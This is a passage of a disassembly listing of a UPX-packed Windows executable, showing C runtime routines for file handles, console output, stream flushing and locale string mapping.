edi push ebp mov ebp, esp xor eax, eax inc eax cmp [ebp+arg_0], 0 jnz short loc_414747 xor eax, eax loc_414747: ; CODE XREF: sub_414737+Cj pop ebp retn sub_414737 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414749 proc near ; CODE XREF: sub_41640B+69p arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp mov ecx, [ebp+arg_0] push ebx xor ebx, ebx cmp ecx, ebx push esi push edi jl short loc_4147B5 cmp ecx, dword_430148 jnb short loc_4147B5 mov eax, ecx sar eax, 5 mov esi, ecx lea edi, ds:430160h[eax*4] mov eax, [edi] and esi, 1Fh shl esi, 6 add eax, esi test byte ptr [eax+4], 1 jz short loc_4147B5 cmp dword ptr [eax], 0FFFFFFFFh jz short loc_4147B5 cmp dword_42A030, 1 jnz short loc_4147AB sub ecx, ebx jz short loc_4147A2 dec ecx jz short loc_41479D dec ecx jnz short loc_4147AB push ebx push 0FFFFFFF4h jmp short loc_4147A5 ; --------------------------------------------------------------------------- loc_41479D: ; CODE XREF: sub_414749+4Aj push ebx push 0FFFFFFF5h jmp short loc_4147A5 ; --------------------------------------------------------------------------- loc_4147A2: ; CODE XREF: sub_414749+47j push ebx push 0FFFFFFF6h loc_4147A5: ; CODE XREF: sub_414749+52j ; sub_414749+57j call dword_41D11C ; SetStdHandle loc_4147AB: ; CODE XREF: sub_414749+43j ; sub_414749+4Dj mov eax, [edi] or dword ptr [esi+eax], 0FFFFFFFFh xor eax, eax jmp short loc_4147CA ; --------------------------------------------------------------------------- loc_4147B5: ; CODE XREF: sub_414749+Fj ; sub_414749+17j ... call sub_40C862 mov dword ptr [eax], 9 call sub_40C875 mov [eax], ebx or eax, 0FFFFFFFFh loc_4147CA: ; CODE XREF: sub_414749+6Aj pop edi pop esi pop ebx pop ebp retn sub_414749 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4147CF proc near ; CODE XREF: sub_410EBC+19p ; sub_415E0C+85p ... arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp mov eax, [ebp+arg_0] cmp eax, 0FFFFFFFEh jnz short loc_4147F4 call sub_40C875 and dword ptr [eax], 0 call sub_40C862 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_4147F4: ; CODE XREF: sub_4147CF+Bj push esi xor esi, esi cmp eax, esi jl short loc_41481D cmp eax, dword_430148 jnb short loc_41481D mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_430160[ecx*4] shl eax, 6 add eax, ecx test byte ptr [eax+4], 1 jnz short loc_414841 loc_41481D: ; CODE XREF: sub_4147CF+2Aj ; sub_4147CF+32j call sub_40C875 mov [eax], esi call sub_40C862 push esi push esi push esi push esi push esi mov dword ptr [eax], 9 call sub_40B255 add esp, 14h or eax, 0FFFFFFFFh jmp short loc_414843 ; --------------------------------------------------------------------------- loc_414841: ; CODE XREF: sub_4147CF+4Cj mov eax, [eax] loc_414843: ; CODE XREF: sub_4147CF+70j pop esi pop ebp retn sub_4147CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414846 proc near ; CODE XREF: sub_410F41+AFp ; sub_41178D+7Fp ... var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 0Ch push offset dword_426C90 call __SEH_prolog4 mov edi, [ebp+arg_0] mov eax, edi sar eax, 5 mov esi, edi and esi, 1Fh shl esi, 6 add esi, dword_430160[eax*4] mov [ebp+var_1C], 1 xor ebx, ebx cmp [esi+8], ebx jnz short loc_4148AD push 0Ah call sub_40CFA9 pop ecx mov [ebp+ms_exc.disabled], ebx cmp [esi+8], ebx jnz short loc_4148A1 push 0FA0h lea eax, [esi+0Ch] push eax call sub_413600 pop ecx pop ecx test eax, eax jnz short loc_41489E mov [ebp+var_1C], ebx loc_41489E: ; CODE XREF: sub_414846+53j inc dword ptr [esi+8] loc_4148A1: ; CODE XREF: sub_414846+3Fj mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_4148DD loc_4148AD: ; CODE XREF: sub_414846+2Fj cmp [ebp+var_1C], ebx jz short loc_4148CF mov eax, edi sar eax, 5 and edi, 1Fh shl edi, 6 mov eax, dword_430160[eax*4] lea eax, [eax+edi+0Ch] push eax call dword_41D1CC ; RtlEnterCriticalSection loc_4148CF: ; CODE XREF: sub_414846+6Aj mov eax, [ebp+var_1C] call __SEH_epilog4 retn sub_414846 endp ; =============== S U B R O U T I N E ======================================= sub_4148D8 proc near ; DATA XREF: UPX0:00426CA8o xor ebx, ebx mov edi, [ebp+8] sub_4148D8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4148DD proc near ; CODE XREF: sub_414846+62p push 0Ah call sub_40CECF pop ecx retn sub_4148DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4148E6 proc near ; CODE XREF: sub_411050+3p ; sub_41185F+3p ... arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_430160[ecx*4] shl eax, 6 lea eax, [ecx+eax+0Ch] push eax call dword_41D204 ; RtlLeaveCriticalSection pop ebp retn sub_4148E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41490D proc near ; CODE XREF: sub_41105A+31Cp ; sub_41105A+349p var_10 = byte ptr -10h var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = word ptr 8 mov edi, edi push ebp mov ebp, esp sub esp, 10h mov eax, dword_42A034 xor eax, ebp mov [ebp+var_4], eax push esi xor esi, esi cmp dword_42AD30, esi jz short loc_414979 cmp dword_42AE44, 0FFFFFFFEh jnz short loc_414938 call sub_415CCD loc_414938: ; CODE XREF: sub_41490D+24j mov eax, dword_42AE44 cmp eax, 0FFFFFFFFh jnz short loc_414949 loc_414942: ; CODE XREF: sub_41490D+59j ; sub_41490D+64j ... mov eax, 0FFFFh jmp short loc_4149B9 ; --------------------------------------------------------------------------- loc_414949: ; CODE XREF: sub_41490D+33j push esi lea ecx, [ebp+var_10] push ecx push 1 lea ecx, [ebp+arg_0] push ecx push eax call dword_41D110 ; WriteConsoleW test eax, eax jnz short loc_4149C6 cmp dword_42AD30, 2 jnz short loc_414942 call dword_41D1D8 ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_414942 mov dword_42AD30, esi loc_414979: ; CODE XREF: sub_41490D+1Bj push esi push esi push 5 lea eax, [ebp+var_C] push eax push 1 lea eax, [ebp+arg_0] push eax push esi call dword_41D114 ; GetConsoleOutputCP push eax call dword_41D07C ; WideCharToMultiByte mov ecx, dword_42AE44 cmp ecx, 0FFFFFFFFh jz short loc_414942 push esi lea edx, [ebp+var_10] push edx push eax lea eax, [ebp+var_C] push eax push ecx call dword_41D118 ; WriteConsoleA test eax, eax jz short loc_414942 loc_4149B5: ; CODE XREF: sub_41490D+C3j mov ax, [ebp+arg_0] loc_4149B9: ; CODE XREF: sub_41490D+3Aj mov ecx, [ebp+var_4] xor ecx, ebp pop esi call sub_40AC1C leave retn ; --------------------------------------------------------------------------- loc_4149C6: ; CODE XREF: sub_41490D+50j mov dword_42AD30, 1 jmp short loc_4149B5 sub_41490D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4149D2 proc near ; CODE XREF: sub_4119CD+Ep var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 10h push offset dword_426CB0 call __SEH_prolog4 xor ebx, ebx mov [ebp+var_1C], ebx push 1 call sub_40CFA9 pop ecx mov [ebp+ms_exc.disabled], ebx push 3 pop edi loc_4149F1: ; CODE XREF: sub_4149D2+7Fj mov [ebp+var_20], edi cmp edi, dword_430140 jge short loc_414A53 mov esi, edi shl esi, 2 mov eax, dword_42F138 add eax, esi cmp [eax], ebx jz short loc_414A50 mov eax, [eax] test byte ptr [eax+0Ch], 83h jz short loc_414A23 push eax call sub_415D90 pop ecx cmp eax, 0FFFFFFFFh jz short loc_414A23 inc [ebp+var_1C] loc_414A23: ; CODE XREF: sub_4149D2+40j ; sub_4149D2+4Cj cmp edi, 14h jl short loc_414A50 mov eax, dword_42F138 mov eax, [esi+eax] add eax, 20h push eax call dword_41D1C8 ; RtlDeleteCriticalSection mov eax, dword_42F138 push dword ptr [esi+eax] call sub_40ADC8 pop ecx mov eax, dword_42F138 mov [esi+eax], ebx loc_414A50: ; CODE XREF: sub_4149D2+38j ; sub_4149D2+54j inc edi jmp short loc_4149F1 ; --------------------------------------------------------------------------- loc_414A53: ; CODE XREF: sub_4149D2+28j mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_414A68 mov eax, [ebp+var_1C] call __SEH_epilog4 retn sub_4149D2 endp ; =============== S U B R O U T I N E ======================================= sub_414A68 proc near ; CODE XREF: sub_4149D2+88p ; DATA XREF: UPX0:00426CC8o push 1 call sub_40CECF pop ecx retn sub_414A68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414A71 proc near ; CODE XREF: sub_414AD9+17p ; sub_415D19+37p arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_0] mov eax, [esi+0Ch] mov ecx, eax and cl, 3 xor ebx, ebx cmp cl, 2 jnz short loc_414ACA test eax, 108h jz short loc_414ACA mov eax, [esi+8] push edi mov edi, [esi] sub edi, eax test edi, edi jle short loc_414AC9 push edi push eax push esi call sub_411ACB pop ecx push eax call sub_41178D add esp, 0Ch cmp eax, edi jnz short loc_414AC2 mov eax, [esi+0Ch] test al, al jns short loc_414AC9 and eax, 0FFFFFFFDh mov [esi+0Ch], eax jmp short loc_414AC9 ; --------------------------------------------------------------------------- loc_414AC2: ; CODE XREF: sub_414A71+40j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_414AC9: ; CODE XREF: sub_414A71+2Aj ; sub_414A71+47j ... pop edi loc_414ACA: ; CODE XREF: sub_414A71+17j ; sub_414A71+1Ej mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop esi mov eax, ebx pop ebx pop ebp retn sub_414A71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414AD9 proc near ; CODE XREF: sub_414B21+69p ; sub_414B21+84p arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] test esi, esi jnz short loc_414AEF push esi call sub_414B21 pop ecx jmp short loc_414B1E ; --------------------------------------------------------------------------- loc_414AEF: ; CODE XREF: sub_414AD9+Bj push esi call sub_414A71 pop ecx test eax, eax jz short loc_414AFF or eax, 0FFFFFFFFh jmp short loc_414B1E ; --------------------------------------------------------------------------- loc_414AFF: ; CODE XREF: sub_414AD9+1Fj test dword ptr [esi+0Ch], 4000h jz short loc_414B1C push esi call sub_411ACB push eax call sub_415E0C pop ecx neg eax pop ecx sbb eax, eax jmp short loc_414B1E ; --------------------------------------------------------------------------- loc_414B1C: ; CODE XREF: sub_414AD9+2Dj xor eax, eax loc_414B1E: ; CODE XREF: sub_414AD9+14j ; sub_414AD9+24j ... pop esi pop ebp retn sub_414AD9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414B21 proc near ; CODE XREF: sub_414AD9+Ep ; sub_414BFB+2p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00414BD4 SIZE 0000001E BYTES push 14h push offset dword_426CD0 call __SEH_prolog4 xor edi, edi mov [ebp+var_1C], edi mov [ebp+var_24], edi push 1 call sub_40CFA9 pop ecx mov [ebp+ms_exc.disabled], edi xor esi, esi loc_414B42: ; CODE XREF: sub_414B21+9Bj mov [ebp+var_20], esi cmp esi, dword_430140 jge loc_414BD4 mov eax, dword_42F138 lea eax, [eax+esi*4] cmp [eax], edi jz short loc_414BBB mov eax, [eax] test byte ptr [eax+0Ch], 83h jz short loc_414BBB push eax push esi call sub_411A2E pop ecx pop ecx xor edx, edx inc edx mov [ebp+ms_exc.disabled], edx mov eax, dword_42F138 mov eax, [eax+esi*4] mov ecx, [eax+0Ch] test cl, 83h jz short loc_414BB3 cmp [ebp+arg_0], edx jnz short loc_414B9A push eax call sub_414AD9 pop ecx cmp eax, 0FFFFFFFFh jz short loc_414BB3 inc [ebp+var_1C] jmp short loc_414BB3 ; --------------------------------------------------------------------------- loc_414B9A: ; CODE XREF: sub_414B21+66j cmp [ebp+arg_0], edi jnz short loc_414BB3 test cl, 2 jz short loc_414BB3 push eax call sub_414AD9 pop ecx cmp eax, 0FFFFFFFFh jnz short loc_414BB3 or [ebp+var_24], eax loc_414BB3: ; CODE XREF: sub_414B21+61j ; sub_414B21+72j ... mov [ebp+ms_exc.disabled], edi call sub_414BC3 loc_414BBB: ; CODE XREF: sub_414B21+3Aj ; sub_414B21+42j inc esi jmp short loc_414B42 sub_414B21 endp ; =============== S U B R O U T I N E ======================================= sub_414BBE proc near ; DATA XREF: UPX0:00426CF4o xor edi, edi mov esi, [ebp-20h] sub_414BBE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_414BC3 proc near ; CODE XREF: sub_414B21+95p mov eax, dword_42F138 push dword ptr [eax+esi*4] push esi call sub_411A9C pop ecx pop ecx retn sub_414BC3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_414B21 loc_414BD4: ; CODE XREF: sub_414B21+2Aj mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_414BF2 cmp [ebp+arg_0], 1 mov eax, [ebp+var_1C] jz short loc_414BEC mov eax, [ebp+var_24] loc_414BEC: ; CODE XREF: sub_414B21+C6j call __SEH_epilog4 retn ; END OF FUNCTION CHUNK FOR sub_414B21 ; =============== S U B R O U T I N E ======================================= sub_414BF2 proc near ; CODE XREF: sub_414B21+BAp ; DATA XREF: UPX0:00426CE8o push 1 call sub_40CECF pop ecx retn sub_414BF2 endp ; =============== S U B R O U T I N E ======================================= sub_414BFB proc near ; CODE XREF: sub_4119CDp push 1 call sub_414B21 pop ecx retn sub_414BFB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414C04 proc near ; CODE XREF: sub_414FA9+2Ep var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h mov edi, edi push ebp mov ebp, esp sub esp, 14h mov eax, dword_42A034 xor eax, ebp mov [ebp+var_4], eax push ebx push esi xor ebx, ebx push edi mov esi, ecx cmp dword_42EDBC, ebx jnz short loc_414C5D push ebx push ebx xor edi, edi inc edi push edi push offset dword_41E554 push 100h push ebx call dword_41D220 ; LCMapStringW test eax, eax jz short loc_414C48 mov dword_42EDBC, edi jmp short loc_414C5D ; --------------------------------------------------------------------------- loc_414C48: ; CODE XREF: sub_414C04+3Aj call dword_41D1D8 ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_414C5D mov dword_42EDBC, 2 loc_414C5D: ; CODE XREF: sub_414C04+1Fj ; sub_414C04+42j ... cmp [ebp+arg_C], ebx jle short loc_414C84 mov ecx, [ebp+arg_C] mov eax, [ebp+arg_8] loc_414C68: ; CODE XREF: sub_414C04+6Cj dec ecx cmp [eax], bl jz short loc_414C75 inc eax cmp ecx, ebx jnz short loc_414C68 or ecx, 0FFFFFFFFh loc_414C75: ; CODE XREF: sub_414C04+67j mov eax, [ebp+arg_C] sub eax, ecx dec eax cmp eax, [ebp+arg_C] jge short loc_414C81 inc eax loc_414C81: ; CODE XREF: sub_414C04+7Aj mov [ebp+arg_C], eax loc_414C84: ; CODE XREF: sub_414C04+5Cj mov eax, dword_42EDBC cmp eax, 2 jz loc_414E3E cmp eax, ebx jz loc_414E3E cmp eax, 1 jnz loc_414E6F mov [ebp+var_8], ebx cmp [ebp+arg_18], ebx jnz short loc_414CB3 mov eax, [esi] mov eax, [eax+4] mov [ebp+arg_18], eax loc_414CB3: ; CODE XREF: sub_414C04+A5j mov esi, dword_41D1F4 xor eax, eax cmp [ebp+arg_1C], ebx push ebx push ebx push [ebp+arg_C] setnz al push [ebp+arg_8] lea eax, ds:1[eax*8] push eax push [ebp+arg_18] call esi ; dword_41D1F4 mov edi, eax cmp edi, ebx jz loc_414E6F jle short loc_414D25 push 0FFFFFFE0h xor edx, edx pop eax div edi cmp eax, 2 jb short loc_414D25 lea eax, [edi+edi+8] cmp eax, 400h ja short loc_414D0C call sub_4160F0 mov eax, esp cmp eax, ebx jz short loc_414D20 mov dword ptr [eax], 0CCCCh jmp short loc_414D1D ; --------------------------------------------------------------------------- loc_414D0C: ; CODE XREF: sub_414C04+F3j push eax call sub_40AEA5 pop ecx cmp eax, ebx jz short loc_414D20 mov dword ptr [eax], 0DDDDh loc_414D1D: ; CODE XREF: sub_414C04+106j add eax, 8 loc_414D20: ; CODE XREF: sub_414C04+FEj ; sub_414C04+111j mov [ebp+var_C], eax jmp short loc_414D28 ; --------------------------------------------------------------------------- loc_414D25: ; CODE XREF: sub_414C04+DCj ; sub_414C04+E8j mov [ebp+var_C], ebx loc_414D28: ; CODE XREF: sub_414C04+11Fj cmp [ebp+var_C], ebx jz loc_414E6F push edi push [ebp+var_C] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] call esi ; dword_41D1F4 test eax, eax jz loc_414E2D mov esi, dword_41D220 push ebx push ebx push edi push [ebp+var_C] push [ebp+arg_4] push [ebp+arg_0] call esi ; dword_41D220 mov ecx, eax mov [ebp+var_8], ecx cmp ecx, ebx jz loc_414E2D test [ebp+arg_4], 400h jz short loc_414D9D cmp [ebp+arg_14], ebx jz loc_414E2D cmp ecx, [ebp+arg_14] jg loc_414E2D push [ebp+arg_14] push [ebp+arg_10] push edi push [ebp+var_C] push [ebp+arg_4] push [ebp+arg_0] call esi ; dword_41D220 jmp loc_414E2D ; --------------------------------------------------------------------------- loc_414D9D: ; CODE XREF: sub_414C04+16Ej cmp ecx, ebx jle short loc_414DE6 push 0FFFFFFE0h xor edx, edx pop eax div ecx cmp eax, 2 jb short loc_414DE6 lea eax, [ecx+ecx+8] cmp eax, 400h ja short loc_414DCE call sub_4160F0 mov esi, esp cmp esi, ebx jz short loc_414E2D mov dword ptr [esi], 0CCCCh add esi, 8 jmp short loc_414DE8 ; --------------------------------------------------------------------------- loc_414DCE: ; CODE XREF: sub_414C04+1B2j push eax call sub_40AEA5 pop ecx cmp eax, ebx jz short loc_414DE2 mov dword ptr [eax], 0DDDDh add eax, 8 loc_414DE2: ; CODE XREF: sub_414C04+1D3j mov esi, eax jmp short loc_414DE8 ; --------------------------------------------------------------------------- loc_414DE6: ; CODE XREF: sub_414C04+19Bj ; sub_414C04+1A7j xor esi, esi loc_414DE8: ; CODE XREF: sub_414C04+1C8j ; sub_414C04+1E0j cmp esi, ebx jz short loc_414E2D push [ebp+var_8] push esi push edi push [ebp+var_C] push [ebp+arg_4] push [ebp+arg_0] call dword_41D220 ; LCMapStringW test eax, eax jz short loc_414E26 push ebx push ebx cmp [ebp+arg_14], ebx jnz short loc_414E0F push ebx push ebx jmp short loc_414E15 ; --------------------------------------------------------------------------- loc_414E0F: ; CODE XREF: sub_414C04+205j push [ebp+arg_14] push [ebp+arg_10] loc_414E15: ; CODE XREF: sub_414C04+209j push [ebp+var_8] push esi push ebx push [ebp+arg_18] call dword_41D07C ; WideCharToMultiByte mov [ebp+var_8], eax loc_414E26: ; CODE XREF: sub_414C04+1FEj push esi call sub_401000 pop ecx loc_414E2D: ; CODE XREF: sub_414C04+140j ; sub_414C04+161j ... push [ebp+var_C] call sub_401000 mov eax, [ebp+var_8] pop ecx jmp loc_414F97 ; --------------------------------------------------------------------------- loc_414E3E: ; CODE XREF: sub_414C04+88j ; sub_414C04+90j mov [ebp+var_C], ebx mov [ebp+var_10], ebx cmp [ebp+arg_0], ebx jnz short loc_414E51 mov eax, [esi] mov eax, [eax+14h] mov [ebp+arg_0], eax loc_414E51: ; CODE XREF: sub_414C04+243j cmp [ebp+arg_18], ebx jnz short loc_414E5E mov eax, [esi] mov eax, [eax+4] mov [ebp+arg_18], eax loc_414E5E: ; CODE XREF: sub_414C04+250j push [ebp+arg_0] call sub_415EED pop ecx mov [ebp+var_14], eax cmp eax, 0FFFFFFFFh jnz short loc_414E76 loc_414E6F: ; CODE XREF: sub_414C04+99j ; sub_414C04+D6j ... xor eax, eax jmp loc_414F97 ; --------------------------------------------------------------------------- loc_414E76: ; CODE XREF: sub_414C04+269j cmp eax, [ebp+arg_18] jz loc_414F5A push ebx push ebx lea ecx, [ebp+arg_C] push ecx push [ebp+arg_8] push eax push [ebp+arg_18] call sub_415F36 add esp, 18h mov [ebp+var_C], eax cmp eax, ebx jz short loc_414E6F mov esi, dword_41D10C push ebx push ebx push [ebp+arg_C] push eax push [ebp+arg_4] push [ebp+arg_0] call esi ; dword_41D10C mov [ebp+var_8], eax cmp eax, ebx jnz short loc_414EBD loc_414EB6: ; CODE XREF: sub_414C04+2D3j ; sub_414C04+2FCj xor esi, esi jmp loc_414F74 ; --------------------------------------------------------------------------- loc_414EBD: ; CODE XREF: sub_414C04+2B0j jle short loc_414EFC cmp eax, 0FFFFFFE0h ja short loc_414EFC add eax, 8 cmp eax, 400h ja short loc_414EE4 call sub_4160F0 mov edi, esp cmp edi, ebx jz short loc_414EB6 mov dword ptr [edi], 0CCCCh add edi, 8 jmp short loc_414EFE ; --------------------------------------------------------------------------- loc_414EE4: ; CODE XREF: sub_414C04+2C8j push eax call sub_40AEA5 pop ecx cmp eax, ebx jz short loc_414EF8 mov dword ptr [eax], 0DDDDh add eax, 8 loc_414EF8: ; CODE XREF: sub_414C04+2E9j mov edi, eax jmp short loc_414EFE ; --------------------------------------------------------------------------- loc_414EFC: ; CODE XREF: sub_414C04:loc_414EBDj ; sub_414C04+2BEj xor edi, edi loc_414EFE: ; CODE XREF: sub_414C04+2DEj ; sub_414C04+2F6j cmp edi, ebx jz short loc_414EB6 push [ebp+var_8] push ebx push edi call sub_40BD40 add esp, 0Ch push [ebp+var_8] push edi push [ebp+arg_C] push [ebp+var_C] push [ebp+arg_4] push [ebp+arg_0] call esi ; dword_41D10C mov [ebp+var_8], eax cmp eax, ebx jnz short loc_414F2C xor esi, esi jmp short loc_414F51 ; --------------------------------------------------------------------------- loc_414F2C: ; CODE XREF: sub_414C04+322j push [ebp+arg_14] lea eax, [ebp+var_8] push [ebp+arg_10] push eax push edi push [ebp+arg_18] push [ebp+var_14] call sub_415F36 mov esi, eax mov [ebp+var_10], esi add esp, 18h neg esi sbb esi, esi and esi, [ebp+var_8] loc_414F51: ; CODE XREF: sub_414C04+326j push edi call sub_401000 pop ecx jmp short loc_414F74 ; --------------------------------------------------------------------------- loc_414F5A: ; CODE XREF: sub_414C04+275j push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_41D10C ; LCMapStringA mov esi, eax loc_414F74: ; CODE XREF: sub_414C04+2B4j ; sub_414C04+354j cmp [ebp+var_C], ebx jz short loc_414F82 push [ebp+var_C] call sub_40ADC8 pop ecx loc_414F82: ; CODE XREF: sub_414C04+373j mov eax, [ebp+var_10] cmp eax, ebx jz short loc_414F95 cmp [ebp+arg_10], eax jz short loc_414F95 push eax call sub_40ADC8 pop ecx loc_414F95: ; CODE XREF: sub_414C04+383j ; sub_414C04+388j mov eax, esi loc_414F97: ; CODE XREF: sub_414C04+235j ; sub_414C04+26Dj lea esp, [ebp-20h] pop edi pop esi pop ebx mov ecx, [ebp+var_4] xor ecx, ebp call sub_40AC1C leave retn sub_414C04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414FA9 proc near ; CODE XREF: sub_411B90+BCp ; sub_411B90+E1p ... var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h mov edi, edi push ebp mov ebp, esp sub esp, 10h push [ebp+arg_0] lea ecx, [ebp+var_10] call sub_40C799 push [ebp+arg_20] lea ecx, [ebp+var_10] push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] call sub_414C04 add esp, 20h cmp [ebp+var_4], 0 jz short locret_414FEC mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh locret_414FEC: ; CODE XREF: sub_414FA9+3Aj leave retn sub_414FA9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414FEE proc near ; CODE XREF: sub_4151A8+2Bp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h mov edi, edi push ebp mov ebp, esp push ecx push ecx mov eax, dword_42A034 xor eax, ebp mov [ebp+var_4], eax mov eax, dword_42EDC0 push ebx push esi xor ebx, ebx push edi mov edi, ecx cmp eax, ebx jnz short loc_415049 lea eax, [ebp+var_8] push eax xor esi, esi inc esi push esi push offset dword_41E554 push esi call dword_41D100 ; GetStringTypeW test eax, eax jz short loc_41502F mov dword_42EDC0, esi jmp short loc_415063 ; --------------------------------------------------------------------------- loc_41502F: ; CODE XREF: sub_414FEE+37j call dword_41D1D8 ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_415044 push 2 pop eax mov dword_42EDC0, eax jmp short loc_415049 ; --------------------------------------------------------------------------- loc_415044: ; CODE XREF: sub_414FEE+4Aj mov eax, dword_42EDC0 loc_415049: ; CODE XREF: sub_414FEE+1Fj ; sub_414FEE+54j cmp eax, 2 jz loc_415121 cmp eax, ebx jz loc_415121 cmp eax, 1 jnz loc_41514B loc_415063: ; CODE XREF: sub_414FEE+3Fj mov [ebp+var_8], ebx cmp [ebp+arg_10], ebx jnz short loc_415073 mov eax, [edi] mov eax, [eax+4] mov [ebp+arg_10], eax loc_415073: ; CODE XREF: sub_414FEE+7Bj mov esi, dword_41D1F4 xor eax, eax cmp [ebp+arg_18], ebx push ebx push ebx push [ebp+arg_8] setnz al push [ebp+arg_4] lea eax, ds:1[eax*8] push eax push [ebp+arg_10] call esi ; dword_41D1F4 mov edi, eax cmp edi, ebx jz loc_41514B jle short loc_4150DE cmp edi, 7FFFFFF0h ja short loc_4150DE lea eax, [edi+edi+8] cmp eax, 400h ja short loc_4150C8 call sub_4160F0 mov eax, esp cmp eax, ebx jz short loc_4150DC mov dword ptr [eax], 0CCCCh jmp short loc_4150D9 ; --------------------------------------------------------------------------- loc_4150C8: ; CODE XREF: sub_414FEE+C5j push eax call sub_40AEA5 pop ecx cmp eax, ebx jz short loc_4150DC mov dword ptr [eax], 0DDDDh loc_4150D9: ; CODE XREF: sub_414FEE+D8j add eax, 8 loc_4150DC: ; CODE XREF: sub_414FEE+D0j ; sub_414FEE+E3j mov ebx, eax loc_4150DE: ; CODE XREF: sub_414FEE+B2j ; sub_414FEE+BAj test ebx, ebx jz short loc_41514B lea eax, [edi+edi] push eax push 0 push ebx call sub_40BD40 add esp, 0Ch push edi push ebx push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] call esi ; dword_41D1F4 test eax, eax jz short loc_415115 push [ebp+arg_C] push eax push ebx push [ebp+arg_0] call dword_41D100 ; GetStringTypeW mov [ebp+var_8], eax loc_415115: ; CODE XREF: sub_414FEE+114j push ebx call sub_401000 mov eax, [ebp+var_8] pop ecx jmp short loc_415196 ; --------------------------------------------------------------------------- loc_415121: ; CODE XREF: sub_414FEE+5Ej ; sub_414FEE+66j xor esi, esi cmp [ebp+arg_14], ebx jnz short loc_415130 mov eax, [edi] mov eax, [eax+14h] mov [ebp+arg_14], eax loc_415130: ; CODE XREF: sub_414FEE+138j cmp [ebp+arg_10], ebx jnz short loc_41513D mov eax, [edi] mov eax, [eax+4] mov [ebp+arg_10], eax loc_41513D: ; CODE XREF: sub_414FEE+145j push [ebp+arg_14] call sub_415EED pop ecx cmp eax, 0FFFFFFFFh jnz short loc_41514F loc_41514B: ; CODE XREF: sub_414FEE+6Fj ; sub_414FEE+ACj ... xor eax, eax jmp short loc_415196 ; --------------------------------------------------------------------------- loc_41514F: ; CODE XREF: sub_414FEE+15Bj cmp eax, [ebp+arg_10] jz short loc_415172 push ebx push ebx lea ecx, [ebp+arg_8] push ecx push [ebp+arg_4] push eax push [ebp+arg_10] call sub_415F36 mov esi, eax add esp, 18h cmp esi, ebx jz short loc_41514B mov [ebp+arg_4], esi loc_415172: ; CODE XREF: sub_414FEE+164j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push [ebp+arg_14] call dword_41D104 ; GetStringTypeA mov edi, eax cmp esi, ebx jz short loc_415194 push esi call sub_40ADC8 pop ecx loc_415194: ; CODE XREF: sub_414FEE+19Dj mov eax, edi loc_415196: ; CODE XREF: sub_414FEE+131j ; sub_414FEE+15Fj lea esp, [ebp-14h] pop edi pop esi pop ebx mov ecx, [ebp+var_4] xor ecx, 